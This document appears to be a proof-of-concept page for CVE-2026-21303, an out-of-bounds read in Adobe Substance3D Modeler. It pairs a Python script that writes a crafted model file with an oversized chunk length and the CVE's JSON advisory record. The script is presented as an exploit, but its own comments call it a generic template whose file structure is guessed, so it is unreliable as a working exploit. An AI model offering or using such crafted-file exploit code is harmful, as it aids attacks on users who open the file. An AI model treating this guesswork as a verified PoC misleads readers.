CVE-2026-21303

#!/usr/bin/env python3 # CVE-2026-21303 PoC - Adobe Substance3D Modeler Out-of-bounds Read # This PoC generates a malicious 3D model file that triggers the vulnerability import struct import os def create_malicious_file(output_path): """ Generate a malicious file to trigger CVE-2026-21303 The file structure exploits the out-of-bounds read vulnerability """ # File header for a model file format # Adjust the structure to match the specific parser vulnerability file_header = b'S3DM' # Substance3D Modeler signature version = struct.pack('<I', 1) # Version 1 # Craft malicious data that triggers out-of-bounds read # The specific payload depends on the vulnerable parsing routine # This is a generic template - actual exploitation requires reverse engineering # Chunk header with crafted size to trigger OOB read chunk_type = b'DATA' # Size value designed to cause buffer overflow in read operation chunk_size = struct.pack('<I', 0xFFFFFFFF) # Large size value # Malicious payload data payload = b'\x00' * 256 # Padding to reach vulnerable memory region payload += b'A' * 64 # Data to be leaked/exposed # File metadata chunk metadata = b'META' meta_size = struct.pack('<I', len(b'CVE-2026-21303')) meta_content = b'CVE-2026-21303' # Assemble the malicious file with open(output_path, 'wb') as f: f.write(file_header) f.write(version) f.write(chunk_type) f.write(chunk_size) f.write(payload) f.write(metadata) f.write(meta_size) f.write(meta_content) print(f"[+] Malicious file created: {output_path}") print(f"[!] This file may trigger CVE-2026-21303 when opened in Adobe Substance3D Modeler") if __name__ == '__main__': output_file = 'CVE-2026-21303_poc.s3dm' create_malicious_file(output_file)

{"cve": {"id": "CVE-2026-21303", "sourceIdentifier": "[email protected]", "published": "2026-01-13T21:15:54.117", "lastModified": "2026-01-14T17:58:17.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Modeler versions 1.22.4 and earlier are affected by an Out-of-bounds Read vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}, {"lang": "es", "value": "Substance3D - Modeler versiones 1.22.4 y anteriores están afectadas por una vulnerabilidad de lectura fuera de límites que podría conducir a la exposición de memoria. Un atacante podría aprovechar esta vulnerabilidad para divulgar información sensible almacenada en memoria. La explotación de este problema requiere interacción del usuario, ya que una víctima debe abrir un archivo malicioso."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_modeler:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.22.5", "matchCriteriaId": "D5A6870D-D2DE-4B8F-8680-3717CA179D14"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-08.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}